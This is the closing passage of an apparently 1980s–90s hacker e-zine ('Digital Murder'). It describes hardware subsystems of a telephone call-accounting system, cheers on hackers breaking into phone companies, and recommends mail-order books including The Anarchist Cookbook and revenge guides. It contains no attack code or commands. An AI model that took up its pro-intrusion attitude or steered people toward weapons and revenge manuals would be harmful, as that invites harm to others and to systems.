  858.          such, the system functions in support of an existing PBX type
  859.          system and may be configured for network  operations  between
  860.          properly equipped locations.  Through these  of  the  network
  861.          capabilities,  a  business can impliment a private network to
  862.          reduce overall call costs and record  network/system  traffic
  863.          statistics.  Network operations are provided by extending the
  864.          local serial bus of the Master node to control the  operation
  865.          of  satellite  nodes and collect call record data from Remote
  866.          intelligent nodes.  Unintelligent (noncomputerized) satellite
  867.          nodes  are  controlled exclusively by the intelligent node to
  868.          which they are connected by data link  and  tie  lines.   The
  869.          Intelligent  Remote  nodes  direct  their own call processing
  870.          functions and those of their associated Satellite nodes.   In
  871.          this  configuration,  the Master node serves as a centralized
  872.          record  collection   point   while  providing  a  centralized
  873.          database update point.
  874.  
  875.          The  support  equipment  expalined  serves  to   expand   the
  876.          interfacing  capabilities  of  the  system  by  accommodating
  877.          ground  start-type  trunk  circuits  and  collected  key-type
  878.          systems.  Other equipment, when optionally  selected  by  the
  879.          CO,  is  designed  to provide remote access from rotary tele-
  880.          phone by the Voice Terminal Device.
  881.  
  882.  
  883.  
  884.  
  885.  
  886.  
  887.  
  888.                                                                          15
  889.       
  890.        
  891.          VCA Subsystem
  892.          -------------
  893.          
  894.          A Pulsecom Voice Connecting Arrangement  (VCA)  subsystem  is
  895.          used  instead  of Telco-supplied CDH-type VCAs.  Each circuit
  896.          card interfaces one system port to one  Telco  trunk  circuit
  897.          (DDD,  WATS, or FX).  These cards are housed in 10 card cages
  898.          which  are  assembled  into  a  wall  mounted  rack  assembly
  899.          containing  eight  card  cages  for  a  total of 72 VCAs on a
  900.          freestanding rack assembly containing 16  card  cages  for  a
  901.          total of 144 VCAs.
  902.  
  903.          Amplifier Subsystem
  904.          -------------------
  905.          
  906.          Trunk  amplification  is  used  to adjust and stabilize trunk
  907.          levels appearing at the  system  while  being  OFF  when  the
  908.          circuit  is  not  in  use.   The single-channel circuit cards
  909.          (repeaters) housed in 11-slot card cages are assembled into a
  910.          wall  mounted  rack assembly which can contain up to six card
  911.          cages for a total of  66  amplifiers  per  rack.   Each  rack
  912.          requires  a  dedicated  120  Vac  15 amp circuit to power the
  913.          -48 Vdc power supply which supplies the required power to the
  914.          card cages.  Two amplifier circuit card types  are  available
  915.          for  voice only or voice/data circuits.  A voice-only circuit
  916.          uses the UM-100 Amplifier Card and a voice/data circuit  uses
  917.          a  VFR-1050  Amplifier  card.  Both card types share the same
  918.          card cage.  One 25-pair cable is used per  card  cage.   Each
  919.          circuit  consists  of two-cable pairs for a total of 22 pairs
  920.          within each cable.  The first cable pair is connected to each
  921.          of  the  Telco  side of the demark and the second pair to the
  922.          ACTION side.
  923.          
  924.          The UM-100 Amplifier Card is equipped with a UM-3502  Plug-on
  925.          Option  card  which  is  used to program the amplifiers oper-
  926.          ation.  Two adjustment options are also  available  with  the
  927.          3502  card.   The  VFR-1050  Amplifier  card is supplied with
  928.          progammable options as well.  This card  is  used  when  data
  929.          transmissions are anticipated on the connected trunk circuit.
  930.  
  931.          The  VFR-1050   Amplifier   Card  options  given  consist  of
  932.          amplifier   gain    adjustment,    equilization   adjustment,
  933.          sensitivity slope adjustment, and a  disable  on/off  switch.
  934.          
  935.          Keyset Adapter Subsystem
  936.          ------------------------
  937.  
  938.           The Keyset Adapter subsystem is employed to permit telephone
  939.           circuits that are not associated with a PBX type  system  to
  940.           be  interfaced  to  the  system.  Key systems  or  dedicated
  941.           single-line  instruments  may  access  the  system  by  this
  942.           subsystem.  The Keyset Adapter Subsystem may  be  configured
  943.           in  a  free  standing  rack (128 circuits max.) or on a wall
  944.           mounted unit (48 circuits max.)  The two circuit cards  that
  945.      
  946.       
  947.       
  948.       
  949.       
  950.       
  951.       
  952.       
  953.       
  954.                                                                          16
  955.       
  956.       
  957.           make  up  the  Keyset  Adapter  Circuit  are the E&M-to-Loop
  958.           Converter Card and the Dual Line Coil Card.  The  Dual  Line
  959.           Coil Card accommodates two E&M-to-Loop cards.  The cards are
  960.           clustered in groups of three with the Dual Line Coil Card in
  961.           the center to provide two circuits.  Three clusters of three
  962.           cards each supply six circuits per card  cage  in  the  wall
  963.           mount  unit  and  four  clusters yielding eight circuits per
  964.           card cage in the free standing rack.
  965.  
  966.          Voice Terminal Device
  967.          ---------------------
  968.          
  969.          The Voice Terminal Device (VTD) is a  word  recognition  sub-
  970.          system configured into a single cabinet.  The VTD is composed
  971.          of a cental processor, a vector processor, memories, and  I/O
  972.          devices  for  eight  system ports.  The System port cards are
  973.          configured for 2-wire operation with 0db pads  and  serve  as
  974.          the bidirectional VTD interface.
  975.  
  976.          The  System  port  cards  used  for  the  VTD  are located in
  977.          consecutive card cage slots within a single card  cage.   The
  978.          first  card is a Voice Terminal Serial Interface Card and the
  979.          next seven  cards  are  Audio  Interface  Cards.   The  Voice
  980.          Terminal  Serial  Interface card accepts the binary output of
  981.          the VTD for the  eight  serial  ports.  Theåé╒æÑ╜üÑ decoded output of
  982.          each of the right ports is sent to the Voice Terminal  Serial
  983.          Interface card in the first port.
  984.          ----------------------------------
  985.  
  986.          Hope  that  was  at least a little bit interesting.  That was
  987.          nowhere near the complexity of explainng ESS.   However,  the
  988.          little  trip to the past could prove useful because many sys-
  989.          tems such as these are still in  use.   I  will  have  future
  990.          articles on the Action  system  but  for  now  I  can't  type
  991.          anymore...  Hehehe..
  992.  
  993.          Later  all and don't forget; Bell holds the ultimate in info-
  994.          rmation and power from us but they will not be able  to  hold
  995.          back  the flood of hackers breaking away at their wall.  Long
  996.          live the cause.
  997.  
  998.                        -/-\-/-\-/-\-/-\-/-\-/-\-/-\- 
  999.                         H e a v e n ' s   T r a s h
  1000.                        -\-/-\-/-\-/-\-/-\-/-\-/-\-/-
  1001.  
  1002.     Strip away the blanket of secrecy!  Here's a few books I've
  1003.     found that I encourage you to order and READ.
  1004.  
  1005.     The Brotherhood by Stephen Knight--
  1006.     Take a look behind-the-scenes at the inner workings
  1007.     of the Masons, a tightly knit, all male society whose
  1008.     members hold some of the highest posts in business and
  1009.     government. . .and who are bound by an iron-clad oath
  1010.     of secrecy.  --$8.95
  1011.  
  1012.  
  1013.  
  1014.  
  1015.  
  1016.  
  1017.  
  1018.  
  1019.  
  1020.  
  1021.                                                                          17
  1022.  
  1023.     Big Secrets by WIlliam Poundstone--
  1024.     this book blows the lid off some of the world's best
  1025.     kept secrets.  You'll learn how to beat a lie-detector
  1026.     test, get the low down on secret messages and subliminal
  1027.     advertising, and how U.S. currency is made.  --$8.95
  1028.  
  1029.     Make My Day by George Hayduke--
  1030.     Don't get mad, get even!  Make My Day covers every type
  1031.     of revenge from simple pranks to complex plots.  You'll
  1032.     learn hundreds of devious, diabolical ideas for getting
  1033.     even.  --$7.95
  1034.  
  1035.     Those books can by ordered by calling 1-800-282-8086.
  1036.  
  1037.  
  1038.     ------------------------------------
  1039.     The Anarchist Cookbook-----$21.95
  1040.     The Poor Man's James Bond--$21.95
  1041.     Shipping/Handling-----------$4.00
  1042.     (602)/634-6280
  1043.     Those can be purchased at named prices from:
  1044.     BUTOKUKAI
  1045.     P.O. Box 430 Dept. SG
  1046.     Cornville, AZ  86325
  1047.     ------------------------------------
  1048.  
  1049.     You can get the Anarchist Cookbook a little cheaper by ordering
  1050.     it from the publishers ($22.00 postpaid).
  1051.     Barricade Books
  1052.     Box 1401-F
  1053.     Secaucus, NJ  07096
  1054.     -----------------------------------
  1055.  
  1056.     If you are into punk, alternative, ''new-wave'', or whatever
  1057.     you wanna call it or are interested in reading some good
  1058.     'zines with topics ranging from political corruption, anti-
  1059.     government action, and environmental news then check these
  1060.     phucking cool mags.  Write 'em for price info if not listed.
  1061.  
  1062.     Flipside  (punk rock/noise/industrial/etc..music)
  1063.     P.O. Box 363
  1064.     Whittier, CA  90608
  1065.  
  1066.     Little Free Press  (government views/utopian societys/etc)
  1067.     Rt. 1  Box 102
  1068.     Cushing, MN  56443
  1069.  
  1070.     Maximum Rock & Roll (punk/hardcore/etc..music)
  1071.     P.O. Box 288
  1072.     Berkeley, CA  94701
  1073.  
  1074.     File 13  ($2.00 per issue last time i checked)
  1075.     P.O. Box 175
  1076.     Concord, MA  01742
  1077.     ----------------------------------------------------------
  1078.     ----------------------------------------------------------
  1079.  
  1080.  
  1081.  
  1082.  
  1083.  
  1084.  
  1085.  
  1086.  
  1087.                                                                          18
  1088.  
  1089.  
  1090.     Maybe some of these will keep your brain clear but not washed
  1091.     like most in this country.  You know the ones. . . those that
  1092.     are insecure about their future.  Those are the people we all
  1093.     remember back in High School;  the guys and  girls  who  were
  1094.     alwayz pushing themselves into  the  system-  alwayz  pushing
  1095.     themselves into the clubs and cliques- pushing  their  future
  1096.     through a sieve, draining out all their unique qualities till
  1097.     all that's left is another person totally conditioned to be a
  1098.     corporate slave.  Think about this.  Think about and question
  1099.     everything.
  1100.  
  1101.     Thanks for reading and supporting Digital Murder.   Issue  #3
  1102.     will be out December 15th.  FEEL FREE to help out!  Don't let
  1103.     those fascist shits on Capital Hill fool  you  into  thinking
  1104.     that you can't still voice your opinion or share information!
  1105.     Call The Backdoor, leave me, Morpheus, feedback.  Send in  an
  1106.     article or just drop in and say what's on your mind.
  1107.  
  1108.     The 'zine should be better now that it'z getting more support
  1109.     as well as the fact that I've moved to the most  boring  city
  1110.     in the whole phucking world.  The most ''exciting'' thing  to
  1111.     do around here is this building that is the home of  a  movie
  1112.     theater that shows old movies, a  skating  rink  and  bowling
  1113.     alley for pre-teen preppies, and an arcade featuring billybob
  1114.     and his cousins playing pool for car titles while I waste  my
  1115.     money on one of the seven video  games  in  the  city's  only
  1116.     arcade.  At least the old city I lived in isn't too far  away
  1117.     from here.  So while you  are  walking  around  breathing  in
  1118.     America's cold, toxic, city air or feasting on the carcass of
  1119.     a dead turkey for thanksgiving, think of your editor  slaving
  1120.     over the keys to bring forth another edition of the  one  and
  1121.     only Digital Murder.
  1122.  
  1123.     Contributors:  Morpheus, Technysis, Chizz, Zapped, NeuronGod,
  1124.     Mystic Blade, and Digital Terrorist.
  1125.  
  1126.     Support Boards:  Backdoor (901)/386.6455
  1127.  
  1128.     Wanna be a support board?  Leave Morpheus feedback on Backdoor.
  1129.